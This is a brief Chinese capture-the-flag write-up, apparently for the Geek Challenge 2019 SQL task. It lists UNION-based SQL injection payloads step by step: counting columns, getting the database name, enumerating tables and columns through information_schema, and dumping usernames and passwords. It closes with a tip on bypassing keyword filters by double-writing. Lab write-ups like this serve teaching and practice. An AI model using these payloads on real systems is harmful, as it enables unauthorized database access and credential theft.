本题使用的是联合注入,先用语句试探看有几列
1' order by 4#
输入3发现可以,但是4就报错了说明有3列
接着就先用联合注入的语句来爆出数据库名
-' union select 1,2,database()#
接下来再爆表名
-'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#
再分别对这两列爆列名和字段名即可
1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #
1' union select 1,2,group_concat(id,password,username) from geek.l0ve1ysq1 #
成功获得flag
后面有一题[极客大挑战 2019]BabySQL1 和这个的解题步骤一样,不过会被屏蔽掉好字,通过回显来判断什么被屏蔽了,进而双写绕过即可